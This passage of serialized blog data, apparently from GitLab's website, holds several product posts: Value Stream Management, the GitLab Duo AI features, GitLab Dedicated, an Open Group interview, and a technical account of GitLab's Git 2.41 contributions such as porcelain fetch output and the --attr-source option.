[new capabilities of GitLab Value Streams Dashboard](https://about.gitlab.com/releases/2023/05/22/gitlab-16-0-released/#value-streams-dashboard-is-now-generally-available) can help you do all that, and optimize your software delivery.\n\n## Value Stream Management in a nutshell \nGitLab [VSM](https://about.gitlab.com/solutions/value-stream-management/) provides end-to-end visibility into your software delivery process. It enables you to [map out your value stream](https://docs.gitlab.com/ee/user/group/value_stream_analytics/#create-a-value-stream-with-custom-stages), identify bottlenecks, measure key metrics, and identify the places where you are either lagging or doing exceptionally well. It then also allows you to take action on these insights. In essence, GitLab VSM helps you to understand and optimize your development processes to deliver software faster and better.\n\n![GitLab Value Stream Analytics](https://about.gitlab.com/images/blogimages/2023-05-24-vsm-overview.png){: .shadow}\nWith Value Stream Analytics, you can establish a baseline for measuring software delivery performance progress and identifying the touchpoints in the process that do not add value to the customer or your business.\n{: .note.text-center}\n\nAnd if you’re wondering how GitLab VSM is able to do that, it’s because GitLab provides an entire DevSecOps platform as a single application and, therefore, holds all the data needed to provide end-to-end visibility throughout the entire SDLC. So now, your decisions rely on actual data rather than blind estimation or gut feelings. Additionally, since GitLab is the place where work happens, these insights are also actionable, allowing your users to move from “understanding” to “fixing” at any time, from within their workflow and without losing context.\n\n## How VSM works: The three-step analysis\nLet’s take a look at how GitLab VSM helps you optimize your SDLC in three easy steps:\n\n**Step 1:** Get an end-to-end view across your entire organization and pinpoint the value streams you need to focus on.\n\nThe [Value Streams Dashboard](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html) is a centralized view where you can see and compare all of the SDLC metrics of all your organization's projects. This dashboard enables you to identify hotspots in your SDLC streams — projects or teams that are underperforming, with longer stages and cycle times. It also shows you where you have the largest value contributors, so you can identify and learn what is working well and what's not. With this information at hand, you can now prioritize your efforts and understand where to spend your time.\n\n![VSM illustration](https://about.gitlab.com/images/blogimages/2023-05-24_vsm1.gif){: .shadow}\n\n\nThis centralized UI acts as a single source of truth for your organization, where all the relevant stakeholders can access, view, and analyze the same set of metrics. This ensures everyone is on the same page, promoting consistency in analysis and decision-making.\n\nRead more: [Getting started with the new GitLab Value Streams Dashboard](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/)\n\n**Step 2:** Drill down into a specific project.\n\nWhen you select a project from the main dashboard, you are directed to that project's Value Stream Analytics (VSA), where you see its value stream. The project's metrics are presented for each stage of the project, helping you understand where the main work lies and which stages need improvement. The VSA overview provides valuable insights into lead times, cycle times, and other critical metrics that help you identify areas for optimization.\n\n![VSM illustration](https://about.gitlab.com/images/blogimages/2023-05-24_vsm2.gif){: .shadow}\n\n\nRead more: [Value stream management: Total Time Chart simplifies top-down optimization flow](https://about.gitlab.com/blog/value-stream-total-time-chart/)\n\n**Step 3:** Dive deep into the Value Stream Analytics dashboard to analyze and fix issues.\n\nOnce the main areas of interest are identified, GitLab Value Stream Analytics (VSA) enables you to drill down further into a specific stage of the project. In the stage table, you can sort the **Last event** column to view the most recent workflow event, and sort the items by **duration** so you can rearrange the events and gain insights faster. This way, you can easily detect work items that are slowing down the project in that stage. Here's an example how we dogfood [VSA on gitlab-org](https://gitlab.com/gitlab-org/gitlab/-/value_stream_analytics). \n\nYou can identify the owner of the work items responsible for the delays, examine code changes, and perform a comprehensive analysis of the issue. This level of visibility and traceability empowers you to take targeted actions and make the necessary improvements to optimize the value stream, all within the context of your current workflow.\n\n![VSM illustration](https://about.gitlab.com/images/blogimages/2023-05-24_vsm3.gif){: .shadow}\nUse GitLab Value Stream Management to visualize the progress of work from planning to value delivery, and gain actionable context.\n{: .note.text-center}\n\n## The value of Value Stream Management\nGitLab VSM is a powerful solution that fits seamlessly into your SDLC. By providing end-to-end visibility and granular, actionable insights into the value stream, VSM enables you to optimize your software delivery and provide value to your customers faster. Access the information you need, when you need it — and easily act on it from within your workplace. VSM offers you the best of both worlds: out-of-the-box functionality and the ability to customize features.\n\nSay goodbye to time-consuming searches and hello to instant access to the information you need most. To learn more, check out the [Value Stream Analytics documentation](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html).\n\nTo help us improve the Value Stream Management, please share feedback about your experience in this [survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_50guMGNU2HhLeT4).\n",[1899,4103,754,1268,1444],{"slug":9638,"featured":6,"template":678},"three-steps-to-optimize-software-value-streams","content:en-us:blog:three-steps-to-optimize-software-value-streams.yml","Three Steps To Optimize Software Value Streams","en-us/blog/three-steps-to-optimize-software-value-streams.yml","en-us/blog/three-steps-to-optimize-software-value-streams",{"_path":9644,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9645,"content":9650,"config":9655,"_id":9657,"_type":16,"title":9658,"_source":17,"_file":9659,"_stem":9660,"_extension":20},"/en-us/blog/meet-gitlab-duo-the-suite-of-ai-capabilities",{"title":9646,"description":9647,"ogTitle":9646,"ogDescription":9647,"noIndex":6,"ogImage":7203,"ogUrl":9648,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9648,"schema":9649},"Meet GitLab Duo, the suite of AI capabilities powering your workflows","Learn about GitLab Duo, an expanding toolbox of features integrated directly into the GitLab platform to assist DevSecOps teams.","https://about.gitlab.com/blog/meet-gitlab-duo-the-suite-of-ai-capabilities","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Meet GitLab Duo, the suite of AI capabilities powering your workflows\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"David DeSanto, Chief Product Officer, GitLab\"}],\n        \"datePublished\": \"2023-06-22\",\n      }",{"title":9646,"description":9647,"authors":9651,"heroImage":7203,"date":9652,"body":9653,"category":791,"tags":9654},[1524],"2023-06-22","\nHave you ever wanted a real-time partner alongside you to help as you develop code, improve operations, and secure your software? [GitLab Duo](https://about.gitlab.com/gitlab-duo/), available now, is a powerful set of AI capabilities within GitLab’s DevSecOps Platform that does just that – suggesting code, explaining vulnerabilities, forecasting value streams, and much more.\n\nThe name GitLab Duo is rooted in You + GitLab AI = the AI dynamic duo. GitLab Duo goes beyond just being an AI pair programmer: It is an expanding toolbox of features integrated into the DevSecOps Platform to help teams across the entire software development environment become more efficient. GitLab Duo is your go-to for planning refinement, security risk resolution, CI/CD pipeline health, and analytics charting. \n\nGitLab Duo is a customer-centric approach focused on privacy first, where customers know their intellectual property is secured.\n\n## GitLab Duo capabilities\nGitLab Duo includes:\n\n- **Code Suggestions** helps developers create new code and update existing code, reducing cognitive load, improving efficiency, and allowing them to spend more time adding unique value to their applications.\n- **Explain this Code** uses AI to examine code, both within a merge request and in the repository view, and provides a natural language explanation, helping to enable all teams to understand the code being merged.\n- **Explain this Vulnerability** helps developers write more secure code by providing a natural language description of the vulnerability and the steps to resolve it.\n- **Generate detailed descriptions of epics, issues, and tasks** helps ensure all teams are aligned and can achieve their common goals faster.\n- **Summarize Issue Comments** helps get everyone up to speed quickly in epics, issues, and tasks.  \n- **Chat** enables users to ask configuration questions and receive natural language explanations, as well as links to GitLab Docs. \n\nThroughout the year, all the GitLab Duo capabilities will become available via GitLab Duo Chat. As humans, we gravitate towards conversational chat, which is why we expect GitLab Duo Chat to become a de facto choice for how users interact with GitLab AI capabilities. We will be adding new capabilities to GitLab Duo, including assisting users with generating planning descriptions, using natural language for CI configuration and chart generation, refactoring vulnerabilities from code, suggesting a fix for failed tests, helping resolve CI/CD pipeline failures, summarizing vulnerability reports, and assisting with merge request reviews.\n\nAt GitLab, we believe everyone can contribute. By bringing GitLab Duo capabilities to every persona who uses GitLab, everyone can benefit from AI-powered workflows and organizations can ship secure software faster.\n\n## The impact of GitLab Duo on workflow efficiency\nOur goal is to help you achieve a 10x improvement in workflow efficiency by tapping into all of the [DevSecOps Platform’s AI capabilities](https://about.gitlab.com/blog/ai-ml-in-devsecops-series/). With GitLab 16, business leaders get an enterprise-grade solution that delivers greater efficiency by reducing tool sprawl and gives teams greater visibility into their workflows.\n\nTo learn more about the exciting features and capabilities of GitLab Duo, [watch the replay of our GitLab 16 event](https://about.gitlab.com/sixteen/).\n\nStay tuned for more updates, and get ready to experience a new era of AI-powered DevSecOps workflows with [GitLab Duo](https://about.gitlab.com/gitlab-duo/).\n",[736,754,790,943],{"slug":9656,"featured":6,"template":678},"meet-gitlab-duo-the-suite-of-ai-capabilities","content:en-us:blog:meet-gitlab-duo-the-suite-of-ai-capabilities.yml","Meet Gitlab Duo The Suite Of Ai Capabilities","en-us/blog/meet-gitlab-duo-the-suite-of-ai-capabilities.yml","en-us/blog/meet-gitlab-duo-the-suite-of-ai-capabilities",{"_path":9662,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9663,"content":9668,"config":9673,"_id":9675,"_type":16,"title":9676,"_source":17,"_file":9677,"_stem":9678,"_extension":20},"/en-us/blog/contributions-to-latest-git-release",{"title":9664,"description":9665,"ogTitle":9664,"ogDescription":9665,"noIndex":6,"ogImage":8116,"ogUrl":9666,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9666,"schema":9667},"Git 2.41 release - Here are five of our contributions in detail","Find out how GitLab's Git team helped improve the latest version of Git.","https://about.gitlab.com/blog/contributions-to-latest-git-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Git 2.41 release - Here are five of our contributions in detail\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"John Cai\"}],\n        \"datePublished\": \"2023-06-20\",\n      }",{"title":9664,"description":9665,"authors":9669,"heroImage":8116,"date":9670,"body":9671,"category":962,"tags":9672},[4903],"2023-06-20","\n[Git 2.41](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.41.0.txt)\nwas officially released on June 1, 2023, and included some improvements from GitLab's Git team. Git is the foundation of\nrepository data at GitLab. GitLab's Git team works on everything from new\nfeatures, performance improvements, documentation improvements, and growing the Git\ncommunity. Often our contributions to Git have a lot to do with the way we integrate Git into\nour services at GitLab. Here are some highlights from this latest Git release,\nand a window into how we use Git on the server side at GitLab.\n\n## 1. Machine-parseable fetch output\nWhen `git-fetch` is run, the output is a familiar for users of Git and looks\nsomething like this:\n\n```bash\n> git fetch\nremote: Enumerating objects: 296, done.\nremote: Counting objects: 100% (189/189), done.\nremote: Compressing objects: 100% (103/103), done.\nremote: Total 296 (delta 132), reused 84 (delta 84), pack-reused 107\nReceiving objects: 100% (296/296), 184.46 KiB | 11.53 MiB/s, done.\nResolving deltas: 100% (173/173), completed with 42 local objects.\nFrom https://gitlab.com/gitlab-org/gitaly\n   cfd146b4d..a69cf20ce  master                                                                             -> origin/master\n   3a877b8f3..854f25045  15-11-stable                                                                       -> origin/15-11-stable\n * [new branch]          5316-check-metrics-and-decide-if-need-to-context-cancel-the-running-git-process-in -> origin/5316-check-metrics-and-decide-if-need-to-context-cancel-the-running-git-process-in\n + bdd3c05a2...0bcf6f9d4 blanet_default_branch_opt                                                          -> origin/blanet_default_branch_opt  (forced update)\n * [new branch]          jt-object-pool-disconnect-refactor                                                 -> origin/jt-object-pool-disconnect-refactor\n + f2447981c...34e06e106 jt-replicate-repository-alternates                                                 -> origin/jt-replicate-repository-alternates  (forced update)\n * [new branch]          kn-logrus-update                                                                   -> origin/kn-logrus-update\n + 05cea76f3...258543674 kn-smarthttp-docs                                                                  -> origin/kn-smarthttp-docs  (forced update)\n * [new branch]          pks-git-pseudorevision-validation                                                  -> origin/pks-git-pseudorevision-validation\n + 2e8d0ccd5...bf4ed8a52 pks-storage-repository                                                             -> origin/pks-storage-repository  (forced update)\n * [new branch]          qmnguyen0711/expose-another-port-for-pack-rpcs                                     -> origin/qmnguyen0711/expose-another-port-for-pack-rpcs\n + 82473046f...8e23e474c use_head_reference\n```\n\nThe problem with this output is that it's not meant for machines to parse.\n\nBut why would it be useful to make this output parseable by machines? To understand\nthis, we need to back up a little bit and talk about Gitaly Cluster. [Gitaly Cluster](https://docs.gitlab.com/ee/administration/gitaly/#gitaly-cluster)\nis a service at GitLab that provides high availability of Git repositories by\nreplicating repository writes to replica nodes. Each time a write comes in which\nchanges a Git repository (for example, a push that updates a reference) the write goes to\nthe primary node, and to all replica nodes before the write can succeed. A\nvoting mechanism takes place where the nodes vote on what its updated\nvalue for the reference would be. This vote succeeds when a quorum of replica\nnodes have successfully written the ref, and the write succeeds.\n\nOne of our remote procedure calls (RPCs) in Gitaly runs `git-fetch(1)` for repository mirroring. By\ndefault, when `git-fetch(1)` is run, it will update any references that are able\nto be fast-forwarded and fail on any reference that has since diverged will not\nbe updated.\n\nAs mentioned above, whenever there is an operation that modifies a repository, there\nis a voting mechanism that ensures the same modification is made to all replica nodes.\nTo dive in even a little deeper, our voting mechanism leverages Git's reference transaction hook,\nwhich runs an executable once per reference transaction. `git-fetch(1)` by default will\nstart a reference transaction per reference it updates. A fetch that updates hundreds or\neven thousand of references would thus vote once per reference that gets updated.\n\nIn the following sequence diagram, we are only showing one Gitaly node, but for a Gitaly Cluster\nwith, let's say, three nodes, what happens with the Gitaly primary also happens in\nthe replicas.\n\n```mermaid\nsequenceDiagram\n    participant user\n    participant GitlabUI as Gitlab UI\n    participant p as Praefect\n    participant g0 as Gitaly (primary)\n    participant git as Git\n    user->>GitlabUI: mirror my repository\n    GitlabUI->>p: FetchRemote\n    activate p\n    p->>g0: FetchRemote\n    activate g0\n    g0->>git: fetch-remote\n    activate git\n    git->>g0: vote on refs/heads/branch1 update\n    g0->>p: vote on refs/heads/branch1 update\n    git->>g0: vote on refs/heads/branch2 update\n    g0->>p: vote on refs/heads/branch2 update\n    git->>g0: vote on refs/heads/branch3 update\n    g0->>p: vote on refs/heads/branch3 update\n    deactivate git\n    note over p: vote succeeds\n    p->>GitlabUI: success\n    deactivate g0\n    deactivate p\n\n```\n\nThis is inefficient. Ideally we would want to vote once per batch of references\nupdated from one `git-fetch(1)` call. There is an option `--atomic` in\n`git-fetch(1)` that will open one reference transaction for all references\nupdated by `git-fetch(1)`. However, when `--atomic` is used, a `git-fetch` call will fail if any references have since diverged. This is not how we want repository mirroring to work. We actually want `git-fetch` to update whichever refs it can.\n\nSo, that means we cannot use the `--atomic` flag and are thus stuck voting per reference we update.\n\n### Solution: Handle the reference update ourselves\nThe way we are solving this inefficiency is to handle the reference update\nourselves. Instead of relying on `git-fetch(1)` to both fetch the objects and\nupdate all the references, we can use the `--dry-run` option of `git-fetch(1)`\nto first fetch the objects into a quarantine directory. Then if we can know\nwhich references *would* be updated, we can start a reference transaction\nourselves with `git-update-ref(1)` and update all the refs in one transaction,\nhence triggering a single vote only.\n\n```mermaid\n\nsequenceDiagram\n    participant user\n    participant Gitlab UI\n    participant p as Praefect\n    participant g0 as Gitaly (primary)\n    participant git as Git\n    user->>Gitlab UI: mirror my repository\n    Gitlab UI->>p: FetchRemote\n    activate p\n    p->>g0: FetchRemote\n    g0->>git: fetch-remote --dry-run --porcelain\n    activate git\n    note over git: objects are fetched into a quarantine directory\n    git->>g0: branch1, branch2, branch3 will be updated\n    deactivate git\n    g0->>git: update-ref\n    activate git\n    note over git: update branch1, branch2, branch3 in a single transaction\n    git->>g0: reference transaction hook\n    deactivate git\n    g0->>p: vote on ref updates\n    note over p: vote succeeds\n    p->>Gitlab UI: success\n    deactivate p\n\n```\n\nA requirement for this however, is that we would be able to parse the output of\n`git-fetch(1)` to tell which refs will be updated and to what values. Currently\nin `--dry-run`, `git-fetch(1)`'s output cannot be parsed by a machine.\n\n[Patrick Steinhardt](https://gitlab.com/pks-gitlab), Staff Backend Engineer, Gitaly, added a  `--porcelain` [option to git-fetch](https://git-scm.com/docs/git-fetch#Documentation/git-fetch.txt---porcelain)\nthat causes `git-fetch(1)` to gives its output in a machine-parseable format.\n\n```\n> git fetch --porcelain --dry-run --quiet\n* cd7ec0e2505463855d04f0a685d53af604079bdf 023a4cca58ac713090df15015a2efeadc73be522 refs/remotes/origin/master\n* 0000000000000000000000000000000000000000 b4a007671bd331f1c6f5857aa9a6ab95d500b412 refs/remotes/origin/alejguer-improve-readabiliy-geo\n  2314938437eb962dadd6a88f45d463f8ed2c7cec 3d3e36fa40e9b87b90ef31f80c63c767d0ef3638 refs/remotes/origin/ali/document-keyless-container-signing\n+ c8107330f8d5a938f6349743310db030ca5159e6 e155670196e4974659304c79e670b238192bce08 refs/remotes/origin/fc-add-failed-jobs-in-mr-part-2\n+ 9ec873de405b3c5078ad1c073711a222e7734337 eb7947e37d05460a94c988bf1f408f96228dd50d refs/remotes/origin/fc-mvc-details-page\n* 0000000000000000000000000000000000000000 36d214774f39d3c3d0569df8befd2b46d22ea94b refs/remotes/origin/group-runner-docs\n+ b357bfdec53b96e76582ac5dd64deb2d35dbe697 7b85d775b1a46ea94e0b241aa0b6aa37ae2e0b69 refs/remotes/origin/jwanjohi-add-abuse-training-data-table\n+ c9beb0b9c0b933903c12393acaa2c4447bb9035f fd13eda262c67a48495a0695659fea10b32e7e02 refs/remotes/origin/jy-permissions-blueprint\n+ 9ecf5a7fb7ca39a6a4296e569af0ddff1058a830 3341369e650c931c46d9880f3b781dc1e21c9f75 refs/remotes/origin/kassio/spike-pages-review-apps\n```\n\nThis change allows us to be much more efficient when mirroring repositories.\n\nDetails of the patch series, including discussions can be found [here](https://lore.kernel.org/git/cover.1683721293.git.ps@pks.im/).\n\n## 2. A new way to read Git attribute files\n[Git attribute](https://docs.gitlab.com/ee/user/project/git_attributes.html) is\na way to define attributes in a Git repository such as syntax highlighting. Until now, Git only read `.gitattribute` files in the wokrtree or the\n`.git/info/attributes` files. On Gitaly servers, we store repositories on disk\nas [bare\nrepositories](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt---bare).\nThis means that on the server we don't keep worktrees around. To\nsupport gitattributes on GitLab then, we use a workaround whereby when the user\nchanges attributes on the default branch, we copy the contents of the blob\n`HEAD:.gitattribute` to the `info/attributes` file.\n\n\u003Cpre class=\"mermaid\">\nflowchart TD\n  A[User A] -->|edit HEAD:.gitattributes\u003Cbr/>git push| B[Gitaly]\n  B --> |copy HEAD:.gitattributes\u003Cbr/>to info/attributes| C[info/attributes file]\n  D[GitLab UI] --> |Display code with syntax highlighting| B\n  B -.->|how should I do syntax highlighting?\u003Cbr/>Read info/attributes file| C   \n\u003C/pre>\n\n### Solution: New git option to read attribute files directly\nTo get rid of this extra step of copying a blob to `info/attributes`,\nI added a new git\n[option](https://git-scm.com/docs/git#Documentation/git.txt---attr-sourcelttree-ishgt)\n`--attr-source=\u003Ctree>` whereby a caller can pass in a tree from which Git will\nread the attributes file directly. This way Git can read the attributes blob directly\nwithout a worktree and without having to copy the contents to `info/attributes` each time it changes.\n\n\u003Cpre class=\"mermaid\">\nflowchart TD\n    A[User A] -->|edit HEAD:.gitattributes\u003Cbr/>git push| B[Gitaly]\n    D[GitLab UI] --> |Display code with syntax highlighting|B\n    B --> |Directly read the HEAD:.gitattributes blob|B\n\u003C/pre>\n\nHaving this feature in Git allows us to simplify this process a lot. We no longer\nhave to manually copy over the contents to a separate file. Internally, this\nallows us to delete two RPCs, reducing complexity and improving performance.\n\nDetails of this patch series, including discussions can be found [here](https://lore.kernel.org/git/pull.1470.v6.git.git.1683346530487.gitgitgadget@gmail.com/).\n\n## 3. Bug fix in commit-graph generation numbers\nA regression for truncated commit-graph generation numbers is a bug that we have been hitting for\nspecific repositories, corrupting the commit-graph. The [commit\ngraph](https://git-scm.com/docs/commit-graph) is an important Git optimization\nthat speeds up commit graph walks. Commit graph walks happen whenever Git has to\nwalk through commit history. Any time we display commit history in the UI, for\ninstance, it  will trigger a commit graph walk. Keeping these fast is crucial to a\nsnappy browsing experience.\n\n### Solution: A patch series to fix the bug\nPatrick submitted a patch series to fix the regression for truncated commit-graph generation numbers bug \nDetails of this patch series, including discussions can be found [here](https://lore.kernel.org/git/f8a0a869e8b0882f05cac49d78f49ba3553d3c44.1679904401.git.ps@pks.im/).\n\n## 4. Fix for stale lockfiles in `git-receive-pack`\n`git-receive-pack(1)` is a Git command that handles the server-side of pushes. When `git push` is run\nagainst a GitLab server, Gitaly will handle the `ssh` or `http` request and\nspawn a `git-receive-pack(1)` process behind the scenes to handle the push.\n\n`git-receive-pack(1)` will write a lockfile when processing packfiles in order\nto prevent a race condition where a concurrent garbage-collecting process tries\nto delete the new packfile that is not yet being referenced by anything.\n\nWhen the `git-receive-pack(1)` process dies prematurely for whatever reason, this\nlockfile was being left around instead of being cleaned up. Busy repositories\nthat received many pushes a day could grow in size quickly due to the\naccumulation of these lockfiles.\n\n### Solution: A patch series to clean up unused lockfiles\nPatrick fixed this by submitting a patch series that allows `git-receive-pack(1)` to clean up its unused lockfiles. This allows GitLab to save space on its servers from having to keep useless lockfiles around.\n\nDetails of this patch series, including discussions can be found [here](https://lore.kernel.org/git/e1ee1d8026a361bc58d16bc741e2b347ada7a53e.1678431076.git.ps@pks.im/).\n\n## 5. Fixed geometric repacking with alternate object databases\n[Geometric repacking](https://git-scm.com/docs/git-repack#Documentation/git-repack.txt---geometricltfactorgt)\nis a repacking strategy where instead of packing everything into on giant pack\neach time, several packs are kept around according to a geometric progression\nbased on object size.\n\nThis is useful for large and very busy repositories so that housekeeping doesn't\nhave to pack all of its objects into a giant pack each time.\n\nUnfortunately, geometric repacking had various corner case bugs when an\nalternate object database was involved. At GitLab, we leverage the Git\nalternates mechanism to save space in the case of forks. A fork of a repository\nshares most files. Instead of keeping a second copy of all the data, when we\ncreate a fork, we can deduplicate this data by having both the source\nrepository, as well as the fork repository share objects by pointing to a third\nrepository. This means that only one copy of a blob needs to be kept around\nrather than two.\n\nGeometric repacking bugs prevented it from working in an object database that\nwas connected to an alternate object database.\n\n### Solution: A patch series\nThese bugs have been fixed via a patch series from Patrick. This\nhelps us as we improve our implementation of object pools in Gitaly.\n\nDetails of this patch series, including discussions can be found [here](https://lore.kernel.org/git/cover.1681452028.git.ps@pks.im/).\n",[1067,736,815,267],{"slug":9674,"featured":6,"template":678},"contributions-to-latest-git-release","content:en-us:blog:contributions-to-latest-git-release.yml","Contributions To Latest Git Release","en-us/blog/contributions-to-latest-git-release.yml","en-us/blog/contributions-to-latest-git-release",{"_path":9680,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9681,"content":9687,"config":9691,"_id":9693,"_type":16,"title":9694,"_source":17,"_file":9695,"_stem":9696,"_extension":20},"/en-us/blog/interview-the-open-group",{"title":9682,"description":9683,"ogTitle":9682,"ogDescription":9683,"noIndex":6,"ogImage":9684,"ogUrl":9685,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9685,"schema":9686},"Get to know our newest open source partner, The Open Group","The Open Group leaders explain how the organization uses GitLab to build and maintain open standards for transformative digital technologies.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679170/Blog/Hero%20Images/migration-data.jpg","https://about.gitlab.com/blog/interview-the-open-group","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Get to know our newest open source partner, The Open Group\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Bryan Behrenshausen\"}],\n        \"datePublished\": \"2023-06-20\",\n      }",{"title":9682,"description":9683,"authors":9688,"heroImage":9684,"date":9670,"body":9689,"category":813,"tags":9690},[8083],"\n\nFor more than 30 years, [The Open Group](https://www.opengroup.org/) has served as a steward and champion of [open source](https://go.gitlab.com/spHNym) technologies, helping companies achieve business objectives through [open technological standards](http://www.opengroup.org/standardsprocess/main.html). Today, many of the group's approximately 900 member organizations participate in the work of ensuring critical digital technologies remain open and accessible.\n\nThe Open Group recently joined the [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) community, where it can connect with other large-scale, open source consortia and projects using GitLab to advance the state of the open source art. So I brewed a cup of tea and sat down with two of the group's team members — Vice President and CTO [Andras Szakal](https://pages.opengroup.org/aszakal) and GitLab administrator [David Diederich](https://pages.opengroup.org/divido) — to hear how using GitLab helps them achieve their group's mission. \n\nIn this interview, you'll learn how:\n\n* [GitLab CI/CD](https://about.gitlab.com/features/continuous-integration) helps the group build scalable open source projects\n* adopting GitLab's integrated analysis tools helped the organization deploy complex solutions without the [DevOps tax](https://about.gitlab.com/blog/too-many-toolchains-a-devops-platform-migration-is-the-answer/#eliminating-the-devops-tax)\n* GitLab serves as the foundation of the organization's approach to digital transformation\n\n## Watch the interview\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/0--qGhH-MBQ\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Learn more\nThe [GitLab Open Source Partners](https://go.gitlab.com/030Ue3) are building the future of open source on GitLab. Connect with them on [Gitlab.com](https://gitlab.com/gitlab-com/marketing/community-relations/open-source-program/gitlab-open-source-partners).\n",[815,267,754],{"slug":9692,"featured":6,"template":678},"interview-the-open-group","content:en-us:blog:interview-the-open-group.yml","Interview The Open Group","en-us/blog/interview-the-open-group.yml","en-us/blog/interview-the-open-group",{"_path":9698,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9699,"content":9704,"config":9710,"_id":9712,"_type":16,"title":9713,"_source":17,"_file":9714,"_stem":9715,"_extension":20},"/en-us/blog/gitlab-dedicated-available",{"title":9700,"description":9701,"ogTitle":9700,"ogDescription":9701,"noIndex":6,"ogImage":7051,"ogUrl":9702,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9702,"schema":9703},"GitLab Dedicated single-tenant SaaS now generally available","Achieve control and convenience with a fully managed DevSecOps platform.","https://about.gitlab.com/blog/gitlab-dedicated-available","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Dedicated single-tenant SaaS now generally available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Andrew Thomas\"}],\n        \"datePublished\": \"2023-06-15\",\n      }",{"title":9700,"description":9701,"authors":9705,"heroImage":7051,"date":9707,"body":9708,"category":736,"tags":9709},[9706],"Andrew Thomas","2023-06-15","\nLast year, we launched the [Limited Availability release of GitLab Dedicated](https://about.gitlab.com/blog/introducing-gitlab-dedicated/), a fully managed, single-tenant SaaS deployment of our comprehensive DevSecOps platform designed to address the needs of customers with stringent compliance requirements. Since then, we’ve worked closely with our Limited Availability customers, incorporating their feedback into targeted improvements and essential new features. \n\nWe are excited to share that [GitLab Dedicated is now generally available](https://about.gitlab.com/dedicated/), complete with compliance features such as the ability for customers to encrypt the data stored in their instance with their own encryption key.\n\nWith GitLab Dedicated, organizations can access all of the benefits of the DevSecOps platform – including faster releases, better security, and more productive developers – while satisfying compliance requirements such as data residency, isolation, and private networking.\n\nAccording to [GitLab’s 2023 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2023/), 44% of operations professionals said that their current role involves managing hardware and/or infrastructure “all of the time” or “most of the time.” GitLab Dedicated alleviates that burden, enabling organizations to focus on their core business model and meet their compliance needs without the overhead of managing a complex DevSecOps environment.\n\n## Flexibility and convenience\nOrganizations can achieve a lower total cost of ownership and quicker time to value with GitLab Dedicated, compared to hosting the platform themselves, while maintaining high operational standards.\n\n**A fully managed solution:** When software is not upgraded to the latest versions, organizations use obsolete and inefficient software that can be exposed to security threats. Because GitLab Dedicated is fully managed by GitLab, customers get access to the latest software features and security updates. \n\n**Data residency in the region of your choice:** Customers frequently ask us about data residency to meet stringent compliance requirements, which vary across different regions around the world. GitLab Dedicated can be deployed in [30+ regions](https://docs.gitlab.com/ee/subscriptions/gitlab_dedicated/) to meet these requirements.\n\n**High availability and scalability:** To meet the needs of large or rapidly scaling organizations, GitLab Dedicated uses a cloud native architecture that can support up to 50,000 users, with a disaster recovery plan and [availability targets](https://about.gitlab.com/handbook/engineering/infrastructure/team/gitlab-dedicated/slas/) to satisfy reliability needs. \n\n## Control and compliance\nThe need to have control over data and achieve compliance has never been greater. GitLab Dedicated offers data residency, tenant isolation, and private networking to help customers meet stringent compliance requirements. \n\n**Enterprise-grade security:** Customers require assurance that their data and access to their data is secure. GitLab Dedicated allows customers to implement necessary controls to protect their software delivery platform and meet compliance requirements. This includes access control using SAML-based authentication and authorization, secure communications with IP allow lists, private connectivity, and data encryption both at rest and in transit. \n\n**Full data and source code IP isolation:** As a single-tenant deployment, GitLab Dedicated helps to isolate data and source code from other tenants. Customers can also choose to encrypt the data stored in their instance with their own encryption key. \n\n**Full control over your data:** While GitLab fully manages the DevSecOps platform, customers have full control over the data it hosts, the region the data resides in, and securing the data themselves. Customers also retain full administrative access to the DevSecOps platform itself.\n\n## Looking ahead: AI and GitLab Dedicated\nGitLab Dedicated is a single-tenant deployment preferred by organizations with complex compliance requirements, so we plan to integrate AI into GitLab Dedicated without compromising on compliance requirements like data residency, isolation, and predictability. \n- In the near term, we will introduce AI features like Code Suggestions and Suggested Reviewers into GitLab Dedicated once they are made generally available.\n- In the long term, we will explore incorporating native AI capabilities such as training models to generate tailored insights and suggestions while keeping data private.\n\nTo learn more about what’s coming, follow the [GitLab Dedicated roadmap](https://about.gitlab.com/direction/saas-platforms/dedicated/#roadmap).\n\n## Learn more about GitLab Dedicated\nGitLab Dedicated includes all of the capabilities of GitLab Ultimate, with the added benefits of single-tenant architecture, regional data residency, and platform management by GitLab. With GitLab Dedicated, customers can realize operational efficiencies and deliver secure software faster. \n\nLearn more about [GitLab Dedicated](https://about.gitlab.com/dedicated/) today.\n",[4103,676,695],{"slug":9711,"featured":6,"template":678},"gitlab-dedicated-available","content:en-us:blog:gitlab-dedicated-available.yml","Gitlab Dedicated 